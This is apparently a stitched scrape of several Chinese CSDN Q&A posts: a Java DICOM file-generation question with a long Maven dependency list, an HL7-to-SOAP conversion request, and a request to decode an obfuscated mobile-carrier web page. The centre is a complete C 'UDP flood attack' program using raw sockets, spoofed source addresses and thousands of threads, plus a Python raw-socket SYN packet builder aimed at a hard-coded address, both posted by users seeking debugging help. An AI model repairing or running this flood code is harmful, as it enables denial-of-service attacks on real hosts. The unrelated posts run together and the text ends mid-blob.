VR.PN, "mmmm"); attrs.setString(Tag.PatientBirthDate,VR.DA,"19920720"); attrs.setString(Tag.PatientSex, VR.CS, "F"); return attrs; } public static Attributes addMetaInformation( Attributes attrs){ attrs.setString(Tag.FileMetaInformationVersion, VR.OB, ""); attrs.setString(Tag.MediaStorageSOPClassUID, VR.UI, "1.2.840.10008.5.1.4.1.1.2"); attrs.setString(Tag.MediaStorageSOPInstanceUID, VR.UI, "1.3.6.1.4.1.30071.6.22744165.4288391077912169.1.18"); attrs.setString(Tag.TransferSyntaxUID, VR.UI, "1.2.840.10008.1.2.1"); attrs.setString(Tag.ImplementationVersionName, VR.SH, "SmartVDicom1.0"); attrs.setString(Tag.ImplementationClassUID, VR.UI, "1.3.6.1.4.1.30071.6"); attrs.setString(Tag.SourceApplicationEntityTitle, VR.AE, ""); return attrs; } public static int byteToInt(byte[] bi,int end){ int a=(((int)bi[end]&0xff)<<24) ; int b=(((int)bi[end-1]&0xff)<<16) ; int c=(((int)bi[end-2]&0xff)<<8) ; int d=(int)bi[end-3]&0xff; return a+b+c+d; } public static int byteTo2Int(byte[] bi,int end){ int c=(((int)bi[end]&0xff)<<8) ; int d=(int)bi[end-1]&0xff; return c+d; } } ``` 生成的dcm文件打开报错,无法打开。 ![图片说明](https://img-ask.csdn.net/upload/201912/17/1576562077_220062.jpeg) 需要依赖的jar ``` <dependency> <groupId>com.sun.media</groupId> <artifactId>clibwrapper_jiio</artifactId> <version>1.2-pre-dr-b04</version> </dependency> <dependency> <groupId>commons-cli</groupId> <artifactId>commons-cli</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-audit</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-conf-api</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-conf-core</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-conf-core-api</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-conf-dicom</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-core</artifactId> <version>5.17.0</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-emf</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-filecache</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-hl7</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-image</artifactId> <version>5.17.0</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-json</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che/dcm4che-mime --> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-mime</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-net</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che/dcm4che-net-audit --> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-net-audit</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-net-hl7</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che/dcm4che-soundex --> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-soundex</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-dcm2dcm</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-dcm2jpg --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-dcm2jpg</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-dcm2json --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-dcm2json</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-dcm2xml</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-dcmdict --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-dcmdict</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-dcmdir --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-dcmdir</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-dcmdump</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-dcmgen --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-dcmgen</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-dcmqrscp --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-dcmqrscp</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-dcmvalidate</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-emf2sf --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-emf2sf</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-findscu --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-findscu</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-getscu</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-hl7pix --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-hl7pix</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-hl7rcv --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-hl7rcv</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-hl7snd --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-hl7snd</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-hl72xml</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-ianscp --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-ianscp</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-ianscu</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool.ihe/dcm4che-tool-ihe-modality --> <dependency> <groupId>org.dcm4che.tool.ihe</groupId> <artifactId>dcm4che-tool-ihe-modality</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-jpg2dcm --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-jpg2dcm</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-json2dcm</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-mkkos --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-mkkos</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-movescu --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-movescu</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-mppsscp --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-mppsscp</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-mppsscu --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-mppsscu</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-prefs2xml --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-prefs2xml</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-qc --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-qc</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-qidors</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-stgcmtscu --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-stgcmtscu</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-storescp --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-storescp</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-storescu --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-storescu</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-stowrs --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-stowrs</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-syslog</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-syslogd --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-syslogd</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-wadors --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-wadors</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-wadouri --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-wadouri</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-xml2dcm</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-xml2hl7 --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-xml2hl7</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che.tool/dcm4che-tool-xml2prefs --> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-xml2prefs</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.dcm4che/dcm4che-ws-rs --> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-ws-rs</artifactId> <version>3.3.7</version> </dependency> <!-- https://mvnrepository.com/artifact/org.glassfish/javax.json --> <dependency> <groupId>org.glassfish</groupId> <artifactId>javax.json</artifactId> <version>1.0.4</version> </dependency> <dependency> <groupId>javax.json</groupId> <artifactId>javax.json-api</artifactId> <version>1.1.4</version> </dependency> <!-- https://mvnrepository.com/artifact/log4j/log4j --> <!--<dependency>--> <!--<groupId>log4j</groupId>--> <!--<artifactId>log4j</artifactId>--> <!--<version>1.2.17</version>--> <!--</dependency>--> <!-- https://mvnrepository.com/artifact/org.slf4j/slf4j-api --> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>1.7.25</version> </dependency> <!-- https://mvnrepository.com/artifact/org.slf4j/slf4j-log4j12 --> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <version>1.7.25</version> </dependency> <!-- 倒入jar --> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-imageio</artifactId> <version>5.17.0</version> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-imageio-rle</artifactId> <version>5.17.0</version> <scope>runtime</scope> </dependency> <dependency> <groupId>org.dcm4che</groupId> <artifactId>dcm4che-imageio-opencv</artifactId> <version>5.17.0</version> <scope>runtime</scope> </dependency> <!--<dependency>--> <!--<groupId>com.sun.media</groupId>--> <!--<artifactId>jai_imageio</artifactId>--> <!--<version>1.2-pre-dr-b04</version>--> <!--<scope>runtime</scope>--> <!--</dependency>--> <dependency> <groupId>org.dcm4che.tool</groupId> <artifactId>dcm4che-tool-common</artifactId> <version>3.3.7</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.47</version> </dependency> ```
把HL7协议用mirh connect转化成webservice接口,有没有大佬会啊
把以下的HL7的代码转换成webservice接口的入参 ``` MSH|^~\&|mar|GW1 Gateway|HIS|HisName|20190701111646||ORU^R01^ORU_R01|GW1 Gateway-POC-1-449F34FA9BE311E9A2453BE5DD3F4FBE|P|2.5||||||UNICODE UTF-8 PID|1||235706||测试^病人|||U PV1|23|U|^^6^1&202.114.4.1:40280110325517|||||1057||||||||||0 OBR|||||||20190701105804 OBX|1|ST|FilingTime||2019-07-01 11:09:38|||FilingTime OBX|3|NM|327681^SPO2_PR^EHC||81||50-120||||F|||20190701105804 OBX|3|NM|327680^SPO2_SPO2^EHC||99||90-100||||F|||20190528204938 OBX|4|NM|327681^SPO2_PR^EHC||75||50-120||||F|||20190528204938 OBX|3|NM|393216^NIBP_SYS^EHC||100|26214470^UNIT_MMHG^EHC|90-160||||F|||20190524152359 OBX|4|NM|393217^NIBP_DIA^EHC||67|26214470^UNIT_MMHG^EHC|50-90||||F|||20190524152359 OBX|5|NM|393218^NIBP_MEAN^EHC||81|26214470^UNIT_MMHG^EHC|60-110||||F|||20190524152359 OBX|8|NM|524288^SPEEDY_TEMP^EHC||34.4|26214500^UNIT_C^EHC|36.0-39.0||||F|||20190524152337 ``` 下面是webservice的入参格式 ``` <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempurl.org"> <soapenv:Header/> <soapenv:Body> <tem:get_vitalsign_trandat2his> <!--Optional:--> <tem:as_xml> <![CDATA[ <controlID>202.114.4.1:4028011032557</controlID><p_chtno>235706</p_chtno><bed>15-54</bed><dat>20190627</dat><tm></tm><BT></BT><PULSE></PULSE><HR></HR><RESP></RESP><NBPs>50</NBPs><NBPd>50</NBPd><NBPm>50</NBPm> <SpO2></SpO2><NurseID>1057</NurseID><visitDept>32</visitDept> ]]> </tem:as_xml> </tem:get_vitalsign_trandat2his> </soapenv:Body> </soapenv:Envelope> ```
udp洪水攻击照着别人的视频敲了以后出现transport endpoint is not connected和 Invalid argument怎么解决这个问题?
```#include<stdio.h> #include<stdlib.h> #include<string.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<netinet/ip.h> #include<netinet/udp.h> #include<arpa/inet.h> #include<signal.h> #include<pthread.h> #include<unistd.h> #define MAX 10240 int sockfd=-1; int flag=1; int send_udp_dos(int connfd,struct sockaddr_in *paddr); void handler(int signo) { printf("捕捉到信号:%d\n",signo); flag=0; } void *fun(void *arg) { struct sockaddr_in *addr=arg; while(flag) { send_udp_dos(sockfd,addr); } pthread_exit(NULL); } //计算16位UDP校验和 unsigned short checksum(unsigned char *buf, int len) { unsigned int sum = 0; unsigned short *cbuf; cbuf = (unsigned short *)buf; while(len > 1) { sum += *cbuf++; len -= 2; //剩余尚未累加的16比特的个数 } if(len) //若len的长度不是偶数 sum += *(unsigned char *)cbuf; //用最后一个字节补齐 //防溢出处理 sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } //组织UDP数据包 int send_udp_dos(int connfd, struct sockaddr_in *paddr) { int len = 0; int ret = -1; char *packet = NULL; char *data = NULL; struct ip *ipheader = NULL; struct udphdr *udpheader = NULL; //分配空间 IP首 部 + UDP首部 + 数据(64) len = sizeof(struct ip) + sizeof(struct udphdr) + 64; packet = malloc(len); if (NULL == packet) { printf("malloc failed...\n"); return 1; } //内存清零 memset(packet, 0, len); //第一部分: IP首部 ipheader = (struct ip*)packet; //第二部分: UDP首部 udpheader = (struct udphdr*)(packet + sizeof(struct ip)); //第三部分:数据 data = packet + sizeof(struct ip) + sizeof(struct udphdr); //封装IP协议 //协议的版本 IPv4 ipheader->ip_v = 4; //首部长度 20字节 20 / 4 = 5 ipheader->ip_hl = 5; //区分服务 暂时没有使用 ipheader->ip_tos = 0; //总长度 转化为网路序 ipheader->ip_len = htons(len); //标识 随机 ipheader->ip_id = random() % 1024; //标志 + 片偏移 ipheader->ip_off = 0; //生存时间 随机指定64 ipheader->ip_ttl = 64; //协议 ipheader->ip_p = IPPROTO_UDP; //首部校验和 暂时填写0 ipheader->ip_sum = 0; ipheader->ip_sum = checksum((unsigned char *)ipheader, sizeof(struct ip)); //随机源地址 ipheader->ip_src.s_addr = random() % 1000; //目的地址 参数paddr传递进来的 ipheader->ip_dst = paddr->sin_addr; //封装UDP协议 //随机端口 保证每一次发送数据端口不一样 udpheader->uh_sport = 1024 + random() % 100; //目的端口 udpheader->uh_dport = paddr->sin_port; //长度 UDP首部 + 数据 udpheader->uh_ulen = htons(sizeof(struct udphdr) + 64); //校验和 udpheader->uh_sum = 0; udpheader->uh_sum = checksum((unsigned char *)udpheader, sizeof(struct udphdr) + 64); //填充数据 strcpy(data, "B17070316"); //发送数据 (vim) //第一个参数: 套接字 //第二个参数: 发送数据 //第三个参数: 发送数据长度 //第四个参数: 标志 //第五个参数: 服务端addr结构 //第六个参数: sizeof(struct sockaddr_in) ret = sendto(connfd, packet, len, 0, (void*)paddr, sizeof(struct sockaddr_in)); if (ret <= 0) { perror("sendto"); return -1; } printf("ret: %d\n", ret); //释放内存 free(packet); } //UDP洪水攻击 int main(int argc, char **argv) { int i = 0; int ret = -1; int on = -1; //保存线程tid 线程号 pthread_t tid[MAX]; //填写服务端信息 struct sockaddr_in addr; //0. 参数检查 //argv[0] 可执行文件 //argv[1]: IP //argv[2]: 端口 if (3 != argc) { printf("usaage: ./a.out IP port\n"); return 1; } //注册信号 软件中断 //第一个参数: 信号编号 SIGINT Ctrl + C 产生 //第二个参数: 信号处理函数 用户按下Ctrl + C 就会调用回调函数handler signal(SIGINT, handler); //1. 创建套接字 UDP sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if (-1 == sockfd) { //输出出错原因 perror("socket"); return 1; } printf("sockfd = %d\n", sockfd); //设置自己封装IP on = 1; //表示使能 ret = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); if (-1 == ret) { perror("setsockopt"); return -1; } //2. 初始化结构体 //服务端IP + 服务端端口 //man 7 ip memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; //ipv4 //将字符串转化为int类型 "123"--> 123 addr.sin_port = htons(atoi(argv[2])); //填充IP 192.168.12.88 //字符串IP转化为大端模式的IP inet_pton(AF_INET, argv[1], (void*)&addr.sin_addr); printf("攻击的服务器IP: %s 端口: %s\n", argv[1], argv[2]); #if 1 //循环创建线程 for (i = 0; i < MAX; i++) { //第一个参数:传出线程号 //第二个参数:线程属性 默认即可 NULL: //第三个参数:线程处理函数 线程启动之后执行函数 //第四个参数:传递给线程处理函数的参数 pthread_create(&tid[i], NULL, fun, (void*)&addr); } //等待所有的线程退出 for (i = 0; i < MAX; i++) { //第一个参数: 线程ID //第二个参数: 传出线程退出状态 pthread_join(tid[i], NULL); } #else //3. 循环发送数据 while(1) { send_udp_dos(sockfd, &addr); } #endif //4. 关闭文件描述符 close(sockfd); return 0; } ``` ``` ```
想用原始套接字发送syn请求,出现一个问题,是因为构建的包的格式有问题吗?
``` import random import socket import struct import array def create_socket(): s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL,1) return s def get_host_ip(): s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.connect(('8.8.8.8',80)) ip=s.getsockname()[0] s.close() return ip def doCksum(packet): words = array.array('h', packet) sum = 0 for word in words: sum += (word & 0xffff) sum = (sum >> 16) + (sum & 0xffff) sum += (sum >> 16) return (~sum) & 0xffff def create_ip_header(source_ip, dest_ip): # ip 头部选项 headerlen = 5 version = 4 tos = 0 tot_len = 20 + 20 id = random.randrange(18000,65535,1) frag_off = 0 ttl = 255 protocol = socket.IPPROTO_TCP check = 10 saddr = socket.inet_aton ( source_ip ) daddr = socket.inet_aton ( dest_ip ) hl_version = (version << 4) + headerlen ip_header = struct.pack('BBHHHBBH4s4s', hl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) return ip_header def create_tcp_syn_header(source_ip, dest_ip, dest_port): source = random.randrange(32000,62000,1) seq = 0 ack_seq = 0 doff = 5 fin = 0 syn = 1 rst = 0 psh = 0 ack = 0 urg = 0 window = socket.htons(8192) check = 0 urg_ptr = 0 offset_res = (doff << 4) + 0 tcp_flags = fin + (syn<<1) + (rst<<2) + (psh<<3) + (ack<<4) + (urg<<5) tcp_header = struct.pack('HHLLBBHHH', source, dest_port, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) source_address = socket.inet_aton( source_ip ) dest_address = socket.inet_aton( dest_ip ) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) psh = struct.pack('4s4sBBH', source_address, dest_address, placeholder, protocol, tcp_length) psh = psh + tcp_header tcp_checksum = doCksum(psh) tcp_header = struct.pack('HHLLBBHHH', source, dest_port, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum, urg_ptr) return tcp_header source_ip = get_host_ip() dest_ip = '112.80.248.75' s = create_socket() ip_header = create_ip_header(source_ip,dest_ip) tcp_header = create_tcp_syn_header(source_ip,dest_ip,80) packet = ip_header + tcp_header s.sendto(packet,(dest_ip,80)) ``` **结果** ![图片说明](https://img-ask.csdn.net/upload/201912/17/1576595985_556527.png)
HTML解密 困扰了我好久 看不懂呀
# 移动官网加密了 困扰了我好久 看不懂呀 哪个大神帮忙解一下 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta id="9DhefwqGPrzGxEp9hPaoag" content="Lg4rx49x{ix)\x55x-\x+*x3,x}ox1|x06x4P&amp;Q_/588;)*995B)_))-):;,456d8eA=1wj2ha9Q&lt;vykuSrfmq@Xig/poYR+?ln3NWCxb*s7&gt;PtcV0B(Tz.U-DFEG !#$%HIJKLMZ]_`{}~)A),.25),)&lt;52,.),87,*=)*)&lt;)k)H&amp;&gt;]8Y4=/6;A687c/@&lt;;&lt;s&gt;e,h-:@E5::EEn.v,B1X6n=R,p=.2k&gt;?=&gt;0l=BAC=w2v.f0V-47{Cy&gt;2-R=n-T.p&lt;0f;&lt;15f?j1U8o9Ud?2?-03k@@%-}o]*pHS0.ar0BH*pY/)3Vr)rpf_fdZf^1Z,fdpCsw@Z.aopg[^/CS+&gt;p-fcWaSap]`@hx(\\H*py.Z*Qsjhpi@gSQ,@~Z{CpXBvYi@cXe*p]/C~0/)I0sco-`wp0~)/Y(Gp,@dUx|dxQI0*py{b\yr\FY(aSp[.@jXQpxdcv[rGo]QpXi+v,}apHF+.bSiqiFv.0ri&gt;VQpXr@p0F3uV/3jHWpa~W^][uFpb/WIpa`v~H/qGaBCza/\pbFwSxFGd-_*RY,02xf++X(gRH,fzZFdDg(cu0,wpY/|pZT0^ir0\bBd`[qpaBcR0F1q-_3[HF0~as^~a[+q-(bu-_3~xT22-SwzaWp0edRYBZwYruj-[3SpV~dRpCA\\g.gp-/iyg[1Sb/0Ub[2WQ,)~iT30CFivQf@p)(3UAfbbA@31iWpeigpy(*pe`@Rg.Cp,()y,_dipAf)iQ|3fQ}Z|pY[ZI0QpCfwpifZU)_Gpy[}fCS)veA+0iTCWZ[)0frZCeBdhpXdcye,dAiI2CeB@pyfqpbAj~-WpH(020/3SH~BF]*pa/)~-r}SH/Upi_|cU.fEg@i}Yf3sZqp,|wuAI+xAQp,|+xXd}1Qf^Q%*-z8ZlenFQeW5jrJgwRu{&lt;{VTrvyhj:R[rF}rj&gt;}g^[8sQ&lt;^{r^KzYuMT(J86(tn7YZmg7~Oz&gt;lWYl7OUwyPxw&lt;[7Xo\;Fk|{wl6ZSqWgkxO6Y\|ZOmM;|hN[Yp\7L5yP}GJzX_Pg~neWgXHJT(yK&gt;5{F5LXOtfk}^~R=g5]yzOvJq78V6kM^^OkOgl:}t}LK[&lt;TZp7Fxq~jKt~TVYWfuz_d=ruwmZ[&lt;|zw~Wt&lt;gMx}IupkuZ^Jo8&gt;^GFT^5Os73WP|gZYQ_^Y&gt;G%W=]anafa$aZatava:a@aTa gQ5vaEa%ggaQDAgBa,aWasapaDgna&gt;a*a(gWgvk8a?gia&lt;Qta7Qf-ba}g,D:aIgtaUgZg\g4gAa]arD0UFgsgfgoSTg&amp;V&amp;gcg@5qg5-$MQQyk^g]DagED5D6(:g?F}l(gygqgC5sD]gMQmgS5&gt;k DFg7DfE%Nmg-DtV^D4k7gUFlDVNLD#gpQ7M@QvV#5$Q#D%g}QoDRQ5D^D(ybQ(Q}D\Dn5lDvR0DEQFDCQaRhpZRLDUQ:k(RnR(QqRoRvQ?QTD&lt;}W5&lt;Q$QBS5#q7MUL5mDp?D-5Q Q4Q@EsRaRiQWQ*EkDM3p5^l0Q%p:3^&gt;f]UpFNA#b5bFIFtQAb&gt;rlkS]VSWln5IQl-%0E}R&lt;QQEEUkiQ\RSQMkp&gt;aE-QkQDE?0 kA&gt;l#0RIQ&lt;yI&lt;-Qg5c(N5ySi5SIMN&amp;k35Cbk5UQIN6y}k,WT5TEn5@0%5L3&lt;RW?p5fRcF]rypDE@kv3t]]5A54?y5&amp;F8F4E,IbF$RF-s5BVD#Ely5pRDE$E6k#FZS,N8?FF(r}#^&lt;&amp;p-FfWqRlV4k\Rt#o?$}N5(bAkkrQpVk?FU(-r:kc5*kf&gt;8&gt;*#&gt;Et-FyoS&gt;khR,N$&gt;ilh}ck&gt;ktkD?v#(F@rNrp&gt;&lt;MTVkVi-aEErkrL3(RkRT]lkE*&lt;I-}vy(M&amp;0M&lt;#V?R4k&lt;FF#k&gt;n&lt;mNZER-fW#pC],MRRq#@EmEy](W&gt;}ZE33oypF0EqSIR$-?I}ESFs-DV$R3palCb4&lt;sp#R@RZyTFNN\R?]?pQ(k#8*?-E# *QE*?N-U&gt;5bNrC&gt;A3&gt;F7V7ET3CLaLs*LEi#]7 7C-Sr]L]#SSn&lt;F?#M47(r\l^*B#7l3SAR&gt;Novg]:VAp7 WScEBy3MkU\V*IpVL7^3nSyV6IZElIilWy b&lt;&lt;rWgFv]&gt;FbFWI^E#}vFRr*M,UT#?V\NF*7#5WMW^EWF&amp;yZb^&gt;r]CF6ENbvl\F5y73a#ISb&lt;]l5U%&gt;BM E(*WW&amp;*p}%VC&gt;NFg#600SCF-M-*%yWl6*hl?3A#NlQ(v(tVTFV*v?3I5Mv#R&gt;kFryn3:**F3#TI#SV(UUk}&lt;Uq7vV-bRyMS4lb}?pR*mM%#crmy#3RS^pg#F#3S6(MyhM\7N&gt;37$y$W\S0I$W6&lt;CMDShVob](?Msll(lWF-(bMl-UvyCLB-\]#rh?]lB&gt;4V](D}S#L&lt;M?a(h}rbiyE3Dyk*qEv7RWRIhy5bUy@r3]%&lt;&lt;bD(Wl&amp;-^S?}3S&lt;?ZU IDNf-3&gt;t}-UsNU?iR&lt;3BWC-t#--nlZE0I3l#}gSsNEp3(FLW}T-7&gt;D&gt;$WipS&lt;73T}8VZLi3iM]-,&gt;vI%laMpNcbW?rW5ps}V0:WZUM(,0FNI3QM?pbLmND}m&gt;,*rp*]BW7&lt;3M#bBUy-63S}@&gt;#-qIy0NlDpEylLN*g-&lt;(BWm7m3U&gt;o&gt;:3vphU0]@ItLA357WUl7npkMC3g*bN?-:l}7%bT3%*FLD#}I&lt;SL0b3LI6US-}bq*UMnL:W3pB&lt;0&gt;]pqp0Ec&lt;nVb(#b}}h&lt;E33b07oU?&gt;EDcy,?50QWL* (Zy:V07?&gt;C-8V&gt;3&amp;WD&lt; 